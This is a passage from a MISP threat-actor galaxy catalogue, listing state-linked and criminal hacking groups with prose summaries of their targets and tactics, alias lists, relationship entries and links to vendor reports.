- CHROMIUM
- ControlX
- TAG-22
- FISHMONGER
- BRONZE UNIVERSITY
- AQUATIC PANDA
- Red Dev 10
- RedHotel
- Charcoal Typhoon
- BountyGlad
- Red Scylla

View relationships graph

Earth Lusca has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Charcoal Typhoon" with estimative-language:likelihood-probability="likely"
- related-to: misp-galaxy:surveillance-vendor="I-Soon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="ShadowPad" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Spyder" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="FunnySwitch" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SprySOCKS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="BIOPASS" with estimative-language:likelihood-probability="likely"
- linked-to: misp-galaxy:threat-actor="FishMedley" with estimative-language:likelihood-probability="likely"

Table 18465. Table References

Links
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E
https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf
https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools
https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://securelist.com/apt-annual-review-2021/105127
https://securelist.com/apt-trends-report-q2-2021/103517

https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/jolly-jellyfish/NCSC-MAR-Jolly-Jellyfish.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/pdf/2022-year-in-retrospect-report.pdf
https://www.youtube.com/watch?v=-7Swd1ZetiQ
https://www.welivesecurity.com/en/eset-research/operation-fishmedley/

Earth Wendigo

Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.

The tag is: *misp-galaxy:threat-actor="Earth Wendigo"*

Table 18466. Table References

Links
https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html

BRONZE EDGEWOOD

In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.

The tag is: *misp-galaxy:threat-actor="BRONZE EDGEWOOD"*

BRONZE EDGEWOOD is also known as:

- Red Hariasa

Table 18467. Table References

Links
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

APT9

APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.

The tag is: *misp-galaxy:threat-actor="APT9"*

APT9 is also known as:

- NIGHTSHADE PANDA
- Red Pegasus
- Group 27

Table 18468. Table References

Links
https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.mandiant.com/resources/insights/apt-groups
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://news.softpedia.com/news/trochilus-rat-evades-antivirus-detection-used-for-cyber-espionage-in-south-east-asia-498776.shtml
https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

BRONZE SPRING

BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. In July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of

hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.

The tag is: *misp-galaxy:threat-actor="BRONZE SPRING"*

BRONZE SPRING is also known as:

- UNC302

Table 18469. Table References

Links
https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion
https://www.justice.gov/opa/press-release/file/1295981/download
https://www.justice.gov/opa/press-release/file/1295986/download
https://intrusiontruth.wordpress.com/2021/05/06/an-apt-with-no-name
https://twitter.com/MrDanPerez/status/1390285821786394624

BRONZE STARLIGHT

BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. CTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.

The tag is: *misp-galaxy:threat-actor="BRONZE STARLIGHT"*

BRONZE STARLIGHT is also known as:

- SLIME34
- DEV-0401
- Cinnamon Tempest
- Emperor Dragonfly

View relationships graph

BRONZE STARLIGHT has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Cinnamon Tempest" with estimative-language:likelihood-probability="likely"

Table 18470. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility
https://twitter.com/cglyer/status/1480734487000453121
https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group
https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://attack.mitre.org/groups/G1021/

BRONZE HIGHLAND

BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China

The tag is: *misp-galaxy:threat-actor="BRONZE HIGHLAND"*

BRONZE HIGHLAND is also known as:

- Evasive Panda
- Daggerfly

Table 18471. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware
https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf
https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s

https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/

BRONZE SPIRAL

In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.

BRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.

The tag is: *misp-galaxy:threat-actor="BRONZE SPIRAL"*

Table 18472. Table References

Links
https://unit42.paloaltonetworks.com/solarstorm-supernova
https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis
https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group
https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://www.cisa.gov/news-events/analysis-reports/ar21-112a

BRONZE VAPOR

BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017. The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications. CTU researchers assess BRONZE VAPOR’s intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation). Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).

Prior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularity Taiwan with it’s thriving semiconductor industry. In 2021 details emerged in open

source of attacks on at least one European semiconductor company believed to date back to 2017. In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations. Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.

BRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook. Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access. Cobalt Strike is deployed into the environment and further access is then conducted via Cobalt Strike Beacon and other features of the platform. Sharphound is deployed to map out the victim's Active Directory infrastructure and and collect critical information about the domain including important account names. Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a "sync" or "update" related theme. WinRAR is commonly used for compressing data prior to exfiltration. Filenames for these archives often involve a string of numbers and variations of the word "update". Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.

The tag is: *misp-galaxy:threat-actor="BRONZE VAPOR"*

Table 18473. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-vapor

Vicious Panda

Check Point Research discovered a new campaign against the Mongolian public sector, which takes advantage of the current Coronavirus scare, in order to deliver a previously unknown malware implant to the target. A closer look at this campaign allowed us to tie it to other operations which were carried out by the same anonymous group, dating back to at least 2016. Over the years, these operations targeted different sectors in multiple countries, such as Ukraine, Russia, and Belarus.

The tag is: *misp-galaxy:threat-actor="Vicious Panda"*

Vicious Panda is also known as:

- SixLittleMonkeys

Table 18474. Table References

Links
https://securelist.com/microcin-is-here/97353
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636

https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf
https://securelist.com/apt-trends-report-q2-2019/91897
https://securelist.com/apt-trends-report-q2-2020/97937
https://securelist.com/it-threat-evolution-q2-2020/98230
https://securelist.com/apt-trends-report-q3-2021/104708
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

Red Nue

Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.

The tag is: *misp-galaxy:threat-actor="Red Nue"*

Red Nue is also known as:

- LuoYu

Table 18475. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf
https://blogs.jpcert.or.jp/en/2021/10/windealer.html
https://securelist.com/windealer-dealing-on-the-side/105946
https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

Pickaxe

Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.

The tag is: *misp-galaxy:threat-actor="Pickaxe"*

Pickaxe is also known as:

- Prying Libra

Table 18476. Table References

Links
https://unit42.paloaltonetworks.com/atoms/pryinglibra/

Watchdog

Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.

The tag is: *misp-galaxy:threat-actor="Watchdog"*

Watchdog is also known as:

- Thief Libra

Table 18477. Table References

Links
https://unit42.paloaltonetworks.com/atoms/thieflibra/

Returned Libra

Returned Libra, also known as 8220 Mining Group, is a cloud threat actor group that has been active since at least 2017. Tools commonly employed during their operations are PwnRig or DBUsed which are customized variants of the XMRig Monero mining software. The Returned Libra mining group is believed to have originated from a GitHub fork of the Rocke group's software. Returned

Libra has elevated its mining operations with the use of cloud service platform credential scrapping.

The tag is: *misp-galaxy:threat-actor="Returned Libra"*

Returned Libra is also known as:

- 8220 Mining Group

Table 18478. Table References

Links
https://unit42.paloaltonetworks.com/atoms/returnedlibra/

TianWu

The tag is: *misp-galaxy:threat-actor="TianWu"*

Table 18479. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies
https://github.com/avast/ioc/tree/master/OperationDragonCastling

SLIME29

The tag is: *misp-galaxy:threat-actor="SLIME29"*

Table 18480. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf

GOBLIN PANDA

Goblin Panda is one of a handful of elite Chinese advanced persistent threat (APT) groups. Most Chinese APTs target the United States and NATO, but Goblin Panda focuses primarily on Southeast Asia.

The tag is: *misp-galaxy:threat-actor="GOBLIN PANDA"*

GOBLIN PANDA is also known as:

- Conimes
- Cycldek

Table 18481. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://www.fortinet.com/blog/threat-research/cta-security-playbook—goblin-panda.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf

TA558

Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.

The tag is: *misp-galaxy:threat-actor="TA558"*

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used.

Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: *misp-galaxy:threat-actor="PARINACOTA"*

PARINACOTA is also known as:

- Wine Tempest

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="Wine Tempest" with estimative-language:likelihood-probability="likely"

Table 18482. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

Red Dev 17

In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17's observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.

The tag is: *misp-galaxy:threat-actor="Red Dev 17"*

Table 18483. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/

Aoqin Dragon

SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.

The tag is: *misp-galaxy:threat-actor="Aoqin Dragon"*

Aoqin Dragon is also known as:

- UNC94

Table 18484. Table References

Links
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/
https://khonggianmang.vn/uploads/CB_941_Canhbao_APT_36c5a857fa.pdf

DangerousSavanna

Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast, Morocco, Cameroon, Senegal, and Togo. DangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors' creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.

The tag is: *misp-galaxy:threat-actor="DangerousSavanna"*

Table 18485. Table References

Links
https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/

Hezb

Hezb is a group deploying cryptominers when new exploit are available for public facing vulnerabilities. The name is after the miner process they deploy.

The tag is: *misp-galaxy:threat-actor="Hezb"*

Hezb is also known as:

- Mimo

Table 18486. Table References

Links
https://www.pwndefend.com/2022/06/04/cve-2022-26134-honeypot-payload-analysis-example/
https://asec.ahnlab.com/en/60440/

NoName057(16)

NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland.

The tag is: *misp-galaxy:threat-actor="NoName057(16)"*

NoName057(16) is also known as:

- NoName057
- NoName05716
- 05716nnm
- Nnm05716

Table 18487. Table References

Links
https://decoded.avast.io/martinchlumecky/bobik/
https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/
https://www.gov.pl/web/special-services/russian-cyberattacks

BITWISE SPIDER

BITWISE SPIDER has recently and quickly become a significant player in the big game hunting (BGH) landscape. Their dedicated leak site (DLS) has received the highest number of victims posted each month since July 2021 compared to other adversary DLSs due to the growing popularity and effectiveness of LockBit 2.0.

The tag is: *misp-galaxy:threat-actor="BITWISE SPIDER"*

View relationships graph

BITWISE SPIDER has relationships with:

- uses: misp-galaxy:ransomware="LockBit" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="LockBit (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="LockBit (ELF)" with estimative-language:likelihood-probability="likely"

Table 18488. Table References

Links
https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/
https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/
https://security.packt.com/understanding-lockbit/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit

Void Balaur

Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.

The tag is: *misp-galaxy:threat-actor="Void Balaur"*

Table 18489. Table References

Links
https://www.sentinelone.com/labs/the-sprawling-infrastructure-of-a-careless-mercenary/
https://blog.google/threat-analysis-group/countering-hack-for-hire-groups/
https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf

https://www.amnesty.org/en/latest/research/2020/03/targeted-surveillance-attacks-in-uzbekistan-an-old-threat-with-new-techniques/
https://equalit.ie/deflect-labs-report-6/

APT-C-60

APT-C-60

The tag is: *misp-galaxy:threat-actor="APT-C-60"*

APT-C-60 is also known as:

- APT-Q-12

Table 18490. Table References

Links
https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A
https://cert.360.cn/report/detail?id=6c9a1b56e4ceb84a8ab9e96044429adc

RomCom

ROMCOM is an evolving and sophisticated threat actor group that has been using the malware tool ROMCOM for espionage and financially motivated attacks. They have targeted organizations in Ukraine and NATO countries, including military personnel, government agencies, and political leaders. The ROMCOM backdoor is capable of stealing sensitive information and deploying other malware, showcasing the group's adaptability and growing sophistication.

The tag is: *misp-galaxy:threat-actor="RomCom"*

RomCom is also known as:

- Storm-0978
- UAT-5647

Table 18491. Table References

Links
https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass
https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries
https://www.trendmicro.com/en_us/research/23/j/void-rabisu-targets-female-leaders-with-new-romcom-variant.html
https://labs.k7computing.com/index.php/romcom-rat-not-your-typical-love-story/
https://blogs.blackberry.com/en/2023/07/decoding-romcom-behaviors-and-opportunities-for-detection

https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://blog.talosintelligence.com/uat-5647-romcom/

GOLD PRELUDE

GOLD PRELUDE is a financially motivated cybercriminal threat group that operates the SocGholish (aka FAKEUPDATES) malware distribution network. GOLD PRELUDE operates a large global network of compromised websites, frequently running vulnerable content management systems (CMS), that redirect into a malicious traffic distribution system (TDS). The TDS, which researchers at Avast have named Parrot TDS, uses opaque criteria to select victims to serve a fake browser update page. These pages, which are customized to the specific visiting browser software, download the JavaScript-based SocGholish payload frequently embedded within a compressed archive.

The tag is: *misp-galaxy:threat-actor="GOLD PRELUDE"*

GOLD PRELUDE is also known as:

- TA569
- UNC1543

View relationships graph

GOLD PRELUDE has relationships with:

- uses: misp-galaxy:tool="FakeUpdates" with estimative-language:likelihood-probability="likely"

Table 18492. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-prelude

BazarCall

BazarCall campaigns forgo malicious links or attachments in email messages in favor of phone numbers that recipients are misled into calling. It’s a technique reminiscent of vishing and tech support scams where potential victims are being cold called by the attacker, except in BazarCall’s case, targeted users must dial the number. And when they do, the users are connected with actual humans on the other end of the line, who then provide step-by-step instructions for installing malware into their devices.

The tag is: *misp-galaxy:threat-actor="BazarCall"*

BazarCall is also known as:

- BazzarCall
- BazaCall

Table 18493. Table References

Links
https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html
https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/

Evasive Panda

Evasive Panda is an APT group that has been active since at least 2012, conducting cyberespionage targeting individuals, government institutions and organizations.

The tag is: *misp-galaxy:threat-actor="Evasive Panda"*

Evasive Panda is also known as:

- BRONZE HIGHLAND

Table 18494. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/
https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf
https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack

Malteiro

This group of cybercriminals is named Malteiroby SCILabs, they operate and distribute the URSA/Mispadu banking trojan.

